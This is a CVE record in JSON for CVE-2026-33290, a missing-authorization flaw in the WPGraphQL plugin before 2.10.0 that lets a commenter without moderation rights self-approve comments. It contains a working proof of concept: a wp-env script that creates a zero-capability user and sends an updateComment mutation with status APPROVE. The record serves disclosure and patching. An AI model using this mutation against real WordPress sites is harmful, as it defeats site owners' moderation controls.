{"id":"CVE-2026-33290","state":"PUBLISHED","title":"WPGraphQL Repo's updateComment allows low-privileged authenticated users to change comment moderation status (comment_approved) without moderate_comments permission","description":"WPGraphQL provides a GraphQL API for WordPress sites. Prior to version 2.10.0, an authorization flaw in updateComment allows an authenticated low-privileged user (including a custom role with zero capabilities) to change moderation status of their own comment (for example to APPROVE) without the moderate_comments capability. This can bypass moderation workflows and let untrusted users self-approve content. Version 2.10.0 contains a patch.\n\n### Details\n\nIn WPGraphQL 2.9.1 (tested), authorization for updateComment is owner-based, not field-based:\n\n- plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 allows moderators.\n- plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 also allows the comment owner, even if they lack moderation capability.\n- plugins/wp-graphql/src/Data/CommentMutation.php:94:94 maps GraphQL input status directly to WordPress comment_approved.\n- plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 persists that value via wp_update_comment.\n- plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 exposes moderation states (APPROVE, HOLD, SPAM, TRASH).\n\nThis means a non-moderator owner can submit status during update and transition moderation state.\n\n### PoC\n\nTested in local wp-env (Docker) with WPGraphQL 2.9.1.\n\n1. Start environment:\n\n  npm install\n  npm run wp-env start\n\n2. Run this PoC:\n\n```\n  npm run wp-env run cli -- wp eval '\n  add_role(\"no_caps\",\"No Caps\",[]);\n  $user_id = username_exists(\"poc_nocaps\");\n  if ( ! $user_id ) {\n    $user_id = wp_create_user(\"poc_nocaps\",\"Passw0rd!\",\"poc_nocaps@example.com\");\n  }\n  $user = get_user_by(\"id\",$user_id);\n  $user->set_role(\"no_caps\");\n\n  $post_id = wp_insert_post([\n    \"post_title\" => \"PoC post\",\n    \"post_status\" => \"publish\",\n    \"post_type\" => \"post\",\n    \"comment_status\" => \"open\",\n  ]);\n\n  $comment_id = wp_insert_comment([\n    \"comment_post_ID\" => $post_id,\n    \"comment_content\" => \"pending comment\",\n    \"user_id\" => $user_id,\n    \"comment_author\" => $user->display_name,\n    \"comment_author_email\" => $user->user_email,\n    \"comment_approved\" => \"0\",\n  ]);\n\n  wp_set_current_user($user_id);\n\n  $result = graphql([\n    \"query\" => \"mutation U(\\$id:ID!){ updateComment(input:{id:\\$id,status:APPROVE}){ success comment{ databaseId status } } }\",\n    \"variables\" => [ \"id\" => (string)$comment_id ],\n  ]);\n\n  echo wp_json_encode([\n    \"role_caps\" => array_keys(array_filter((array)$user->allcaps)),\n    \"status\" => $result[\"data\"][\"updateComment\"][\"comment\"][\"status\"] ?? null,\n    \"db_comment_approved\" => get_comment($comment_id)->comment_approved ?? null,\n    \"comment_id\" => $comment_id\n  ]);\n  '\n```\n\n3. Observe result:\n\n- role_caps is empty (or no moderate_comments)\n- mutation returns status: APPROVE\n- DB value becomes comment_approved = 1\n\n### Impact\n\nThis is an authorization bypass / broken access control issue in comment moderation state transitions. Any deployment using WPGraphQL comment mutations where low-privileged users can make comments is impacted. Moderation policy can be bypassed by self-approving content.","publishedAt":"2026-03-23T23:58:57.345Z","updatedAt":"2026-03-24T18:38:29.166Z","severity":{"score":4.3,"label":"Medium","version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N","source":"GitHub_M"},"assigner":"GitHub_M","products":["wp-graphql wp-graphql"],"affected":[{"vendor":"wp-graphql","product":"wp-graphql","versions":[{"version":"< 2.10.0","status":"affected"}]}],"references":["https://github.com/wp-graphql/wp-graphql/security/advisories/GHSA-9hc3-mh5h-4fgh","https://github.com/wp-graphql/wp-graphql/releases/tag/wp-graphql%2Fv2.10.0"],"weaknesses":["CWE-862"],"ingestedAt":"2026-10-29T20:11:40.391Z","source":{"repository":"CVEProject/cvelistV5","path":"cves/2026/33xxx/CVE-2026-33290.json","commit":"556c9d3a8cd17e218bb8e452ba7cd619a384ff47"},"raw":{"dataType":"CVE_RECORD","dataVersion":"5.2","cveMetadata":{"cveId":"CVE-2026-33290","state":"PUBLISHED","datePublished":"2026-03-23T23:58:57.345Z","dateUpdated":"2026-03-24T18:38:29.166Z","assignerShortName":"GitHub_M","assignerOrgId":"a0819718-46f1-4df5-94e2-005712e83aaa","dateReserved":"2026-03-18T18:55:47.426Z"},"containers":{"cna":{"title":"WPGraphQL Repo's updateComment allows low-privileged authenticated users to change comment moderation status (comment_approved) without moderate_comments permission","descriptions":[{"lang":"en","value":"WPGraphQL provides a GraphQL API for WordPress sites. Prior to version 2.10.0, an authorization flaw in updateComment allows an authenticated low-privileged user (including a custom role with zero capabilities) to change moderation status of their own comment (for example to APPROVE) without the moderate_comments capability. This can bypass moderation workflows and let untrusted users self-approve content. Version 2.10.0 contains a patch.\n\n### Details\n\nIn WPGraphQL 2.9.1 (tested), authorization for updateComment is owner-based, not field-based:\n\n- plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 allows moderators.\n- plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 also allows the comment owner, even if they lack moderation capability.\n- plugins/wp-graphql/src/Data/CommentMutation.php:94:94 maps GraphQL input status directly to WordPress comment_approved.\n- plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 persists that value via wp_update_comment.\n- plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 exposes moderation states (APPROVE, HOLD, SPAM, TRASH).\n\nThis means a non-moderator owner can submit status during update and transition moderation state.\n\n### PoC\n\nTested in local wp-env (Docker) with WPGraphQL 2.9.1.\n\n1. Start environment:\n\n  npm install\n  npm run wp-env start\n\n2. Run this PoC:\n\n```\n  npm run wp-env run cli -- wp eval '\n  add_role(\"no_caps\",\"No Caps\",[]);\n  $user_id = username_exists(\"poc_nocaps\");\n  if ( ! $user_id ) {\n    $user_id = wp_create_user(\"poc_nocaps\",\"Passw0rd!\",\"poc_nocaps@example.com\");\n  }\n  $user = get_user_by(\"id\",$user_id);\n  $user->set_role(\"no_caps\");\n\n  $post_id = wp_insert_post([\n    \"post_title\" => \"PoC post\",\n    \"post_status\" => \"publish\",\n    \"post_type\" => \"post\",\n    \"comment_status\" => \"open\",\n  ]);\n\n  $comment_id = wp_insert_comment([\n    \"comment_post_ID\" => $post_id,\n    \"comment_content\" => \"pending comment\",\n    \"user_id\" => $user_id,\n    \"comment_author\" => $user->display_name,\n    \"comment_author_email\" => $user->user_email,\n    \"comment_approved\" => \"0\",\n  ]);\n\n  wp_set_current_user($user_id);\n\n  $result = graphql([\n    \"query\" => \"mutation U(\\$id:ID!){ updateComment(input:{id:\\$id,status:APPROVE}){ success comment{ databaseId status } } }\",\n    \"variables\" => [ \"id\" => (string)$comment_id ],\n  ]);\n\n  echo wp_json_encode([\n    \"role_caps\" => array_keys(array_filter((array)$user->allcaps)),\n    \"status\" => $result[\"data\"][\"updateComment\"][\"comment\"][\"status\"] ?? null,\n    \"db_comment_approved\" => get_comment($comment_id)->comment_approved ?? null,\n    \"comment_id\" => $comment_id\n  ]);\n  '\n```\n\n3. Observe result:\n\n- role_caps is empty (or no moderate_comments)\n- mutation returns status: APPROVE\n- DB value becomes comment_approved = 1\n\n### Impact\n\nThis is an authorization bypass / broken access control issue in comment moderation state transitions. Any deployment using WPGraphQL comment mutations where low-privileged users can make comments is impacted. Moderation policy can be bypassed by self-approving content."}],"affected":[{"vendor":"wp-graphql","product":"wp-graphql","versions":[{"version":"< 2.10.0","status":"affected"}]}],"references":[{"url":"https://github.com/wp-graphql/wp-graphql/security/advisories/GHSA-9hc3-mh5h-4fgh","name":"https://github.com/wp-graphql/wp-graphql/security/advisories/GHSA-9hc3-mh5h-4fgh","tags":["x_refsource_CONFIRM"]},{"url":"https://github.com/wp-graphql/wp-graphql/releases/tag/wp-graphql%2Fv2.10.0","name":"https://github.com/wp-graphql/wp-graphql/releases/tag/wp-graphql%2Fv2.10.0","tags":["x_refsource_MISC"]}],"metrics":[{"cvssV3_1":{"attackComplexity":"LOW","attackVector":"NETWORK","availabilityImpact":"NONE","baseScore":4.3,"baseSeverity":"MEDIUM","confidentialityImpact":"NONE","integrityImpact":"LOW","privilegesRequired":"LOW","scope":"UNCHANGED","userInteraction":"NONE","vectorString":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N","version":"3.1"}}],"problemTypes":[{"descriptions":[{"cweId":"CWE-862","lang":"en","description":"CWE-862: Missing Authorization","type":"CWE"}]}],"providerMetadata":{"shortName":"GitHub_M","orgId":"a0819718-46f1-4df5-94e2-005712e83aaa","dateUpdated":"2026-03-23T23:58:57.345Z"},"source":{"advisory":"GHSA-9hc3-mh5h-4fgh","discovery":"UNKNOWN"}},"adp":[{"title":"CISA ADP Vulnrichment","metrics":[{"other":{"type":"ssvc","content":{"timestamp":"2026-03-24T18:38:22.291114Z","id":"CVE-2026-33290","options":[{"Exploitation":"poc"},{"Automatable":"no"},{"Technical Impact":"partial"}],"role":"CISA Coordinator","version":"2.0.3"}}}],"providerMetadata":{"shortName":"CISA-ADP","orgId":"134c704f-9b21-4f2e-91b3-4a467353bcc0","dateUpdated":"2026-03-24T18:38:29.166Z"}}]}}}